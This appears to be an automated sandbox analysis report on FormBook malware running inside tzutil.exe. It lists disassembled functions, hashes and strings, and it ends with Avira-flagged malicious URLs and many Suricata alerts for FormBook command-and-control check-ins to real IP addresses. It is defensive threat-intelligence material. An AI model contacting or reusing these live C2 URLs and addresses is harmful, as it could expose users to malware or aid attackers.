Function 00839AD0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,3777EA40,00000007,00000000,00000004,00000000,00824211,000000F4), ref: 00839B09

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b80920223b0d3d6ec0276f1483e88535983c36a14dc249cb946427c0f6602cca
Instruction ID: 2f111d7b6ff81e3f53bddbef42d94b9403017f1084e22fd2d63b6e9004c81436
Opcode Fuzzy Hash: b80920223b0d3d6ec0276f1483e88535983c36a14dc249cb946427c0f6602cca
Instruction Fuzzy Hash: 95E06D712003047BC614EE58DC42F9B77ADEFC5B10F004418F948A7241C630B8108AB5

Function 00828760 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000002,000016A8,?,000004D8,00000000), ref: 0082878A

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b2fdd7f5a1d97f55da9e9883e388d1a9d0ed00b807dd1d66f4156bc78fba80a9
Instruction ID: b17023b38627ed52fa34421753b2a865281f3df6be1f2c0d7baaa386cf4c8eb3
Opcode Fuzzy Hash: b2fdd7f5a1d97f55da9e9883e388d1a9d0ed00b807dd1d66f4156bc78fba80a9
Instruction Fuzzy Hash: 26E08675240604AFFF1466A8AC46F663358DBC8734F284A50BA1CDB2C2D974F9418654

Function 00828560 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00822150,008382FF,?,0082211B), ref: 00828591

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 8078e4b5b8cf14619579fb5ecae74e25a8c9f02cfd6a8169a37789255bfbf125
Instruction ID: 3cea9cac5cd7de862a7ec1a2cc909b267d262c4edfa8e41b7e6507669c0b4be6
Opcode Fuzzy Hash: 8078e4b5b8cf14619579fb5ecae74e25a8c9f02cfd6a8169a37789255bfbf125
Instruction Fuzzy Hash: D2D05E723403047BFA00A6E89D47F56328CAF44761F054064BA0CEB2C2D965F50089A6

Function 03152B2A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152B44

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8c759d626b677f81dbcb60a6949f50748383ad0929fa232fdd642910ff9174e3
Instruction ID: f4639bffa2873f533510507c6faaf8756dcfd457761f5271ff69aa687b3d1614
Opcode Fuzzy Hash: 8c759d626b677f81dbcb60a6949f50748383ad0929fa232fdd642910ff9174e3
Instruction Fuzzy Hash: FAB09B729014C5C7DA51D7604708717790467D4705F15C455E5560641E8738C091F176

Non-executed Functions

Function 02FE04D0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.49198851708.0000000002FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2fe0000_tzutil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c83316a2d1e38cf01f858fa1577372f4876acfbed09934fba294c8bba2248b
Instruction ID: 992048409c48343f729e34f48323d944fb1d42d554c2d3316bbc6fb01e746206
Opcode Fuzzy Hash: 54c83316a2d1e38cf01f858fa1577372f4876acfbed09934fba294c8bba2248b
Instruction Fuzzy Hash: C4410871A19F0D4FD768EF689481676B3E2FB48350F50052DDA8BC3362EBB4E8468785

Function 02FEE0C9 Relevance: 56.5, Strings: 45, Instructions: 249COMMON

Download Yara Rule

Strings

@@@@, xrefs: 02FEE285
@@@@, xrefs: 02FEE277
@@@@, xrefs: 02FEE1D6
-./0, xrefs: 02FEE1C1
@@@?, xrefs: 02FEE143
@@@@, xrefs: 02FEE20E
@@@@, xrefs: 02FEE246
@@@@, xrefs: 02FEE238
@@@@, xrefs: 02FEE197
@@@@, xrefs: 02FEE293
@@@@, xrefs: 02FEE215
@@@@, xrefs: 02FEE2AF
@@@@, xrefs: 02FEE223
@@@@, xrefs: 02FEE1F2
@@@@, xrefs: 02FEE24D
<=@@, xrefs: 02FEE158
@@@@, xrefs: 02FEE29A
@@@@, xrefs: 02FEE207
@@@@, xrefs: 02FEE200
!"#$, xrefs: 02FEE1AC
@@@@, xrefs: 02FEE1EB
@@@@, xrefs: 02FEE27E
)*+,, xrefs: 02FEE1BA
@@@@, xrefs: 02FEE1E4
%&'(, xrefs: 02FEE1B3
4567, xrefs: 02FEE14A
@@@@, xrefs: 02FEE22A
@@@@, xrefs: 02FEE262
@@@@, xrefs: 02FEE25B
@@@@, xrefs: 02FEE23F
@@@@, xrefs: 02FEE231
@@@@, xrefs: 02FEE270
@@@@, xrefs: 02FEE254
@@@@, xrefs: 02FEE1DD
@@@@, xrefs: 02FEE2A8
?, xrefs: 02FEE2C0
@@@@, xrefs: 02FEE1F9
@@@@, xrefs: 02FEE15F
@@@@, xrefs: 02FEE21C
89:;, xrefs: 02FEE151
@@@@, xrefs: 02FEE269
123@, xrefs: 02FEE1C8
@@@@, xrefs: 02FEE2A1
@@@@, xrefs: 02FEE28C
@@@@, xrefs: 02FEE1CF

Memory Dump Source

Source File: 00000004.00000002.49198851708.0000000002FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2fe0000_tzutil.jbxd

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-3558027158
Opcode ID: 47cf9afc285d78d3c590a56293d944d5d20f980efb9425facb2a64674c5c23be
Instruction ID: 8994daca520987967d10e7b70e2842c86fcffd09fdf6fe2a56e48509f9db95c6
Opcode Fuzzy Hash: 47cf9afc285d78d3c590a56293d944d5d20f980efb9425facb2a64674c5c23be
Instruction Fuzzy Hash: D7A140F04482948EC7158F58A0552ABFFB1EBC6305F15816DE7E6BB243C3BE8909CB95

Function 03147550 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 03184530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 03184507
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 03184460
ExecuteOptions, xrefs: 031844AB
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0318454D
CLIENT(ntdll): Processing section info %ws..., xrefs: 03184592
Execute=1, xrefs: 0318451E

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: be1e03e1969de5a8beadb4569957270e3284e9b663b6bcaf913c3fc7fd64767b
Instruction ID: 64b11b8f673f1fe9120fc4d999ed84621ab2ad04ee53f9f9c062861b14afaf41
Opcode Fuzzy Hash: be1e03e1969de5a8beadb4569957270e3284e9b663b6bcaf913c3fc7fd64767b
Instruction Fuzzy Hash: F4512831A00319ABEF14EB95EC95FAD73ADEF0C710F0804AAE525AF1C1DB709A458F64

Function 02FE3CBE Relevance: 8.8, Strings: 7, Instructions: 68COMMON

Download Yara Rule

Strings

XQcQ, xrefs: 02FE3D4E
vA]X, xrefs: 02FE3D24
w\F[, xrefs: 02FE3D8D
uZPF, xrefs: 02FE3D01
y[N], xrefs: 02FE3CD9
X]_Q, xrefs: 02FE3D78
gURU, xrefs: 02FE3DBE

Memory Dump Source

Source File: 00000004.00000002.49198851708.0000000002FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2fe0000_tzutil.jbxd

Similarity

API ID:
String ID: XQcQ$X]_Q$gURU$uZPF$vA]X$w\F[$y[N]
API String ID: 0-1416458366
Opcode ID: dedf437aa38687259b1bad9c904173211a3205b851b084e00ad0a60b07b74ce9
Instruction ID: c1875dfa92a51529571a21081b86da9b56e85a55424fbac64cff71d9f95059d4
Opcode Fuzzy Hash: dedf437aa38687259b1bad9c904173211a3205b851b084e00ad0a60b07b74ce9
Instruction Fuzzy Hash: FC31E2B091028CEBCF15CF94D5886DEBBB1FF04389F818559E81A6F250C771865ACB89

Function 03119046 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 03119095
$, xrefs: 031190B1

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 04c362a4aae7fcafa17e84fe6c1eb1abdbd281374fd640ac0d374de1cef69679
Instruction ID: 948d3658b75109707d0b190b4a62f4b0d5346ea4ee59a08e9a24b13ee8e1af41
Opcode Fuzzy Hash: 04c362a4aae7fcafa17e84fe6c1eb1abdbd281374fd640ac0d374de1cef69679
Instruction Fuzzy Hash: D8815A71D002699BDB35CF54CC44BEEB6B8AF08710F0445EAE91AB7280D7709E95CFA1

Source: http://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0	Avira URL Cloud: Label: malware
Source: https://www.cssa.auction/gmd5/?kR8XbB2P=Ekgx1MvUYLrGHUKx8CCe7U4VyzptkZh1uIGTrOYSeAMN1zfbKp4H9sCFOEig	Avira URL Cloud: Label: malware
Source: https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ	Avira URL Cloud: Label: malware
Source: http://www.taxiquynhonnew.click/y49d/	Avira URL Cloud: Label: malware

Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4x nop then xor eax, eax		4_2_00819F80
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4x nop then mov ebx, 00000004h		4_2_02FE04D0

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49788 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49775 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49764 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49770 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49792 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49781 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49780 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49780 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49767 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49777 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49771 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49765 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49786 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49763 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49792 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49788 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49767 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49763 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49793 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49816 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49813 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49818 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49813 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49814 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49818 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49814 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49795 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49820 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49782 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49829 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49841 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49822 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49822 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49849 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49790 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49774 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49779 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49835 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49766 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49803 -> 104.21.40.167:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49772 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49772 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49789 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49773 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49812 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49821 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49798 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49845 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49778 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49800 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49807 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49848 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49768 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49791 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49776 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49801 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49776 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49801 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49784 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49784 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49802 -> 104.21.40.167:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49809 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49809 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49783 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49830 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49830 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49815 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49831 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49847 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49832 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49805 -> 104.21.40.167:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49805 -> 104.21.40.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49785 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49819 -> 13.228.81.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49828 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49806 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49796 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49796 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49844 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49825 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49833 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49804 -> 104.21.40.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49840 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49794 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49810 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49799 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49834 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49834 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49842 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49842 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49808 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49811 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49817 -> 107.155.56.30:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49836 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49826 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49826 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49838 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49838 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49824 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49839 -> 46.253.5.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49827 -> 154.205.159.116:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49846 -> 146.88.233.115:80
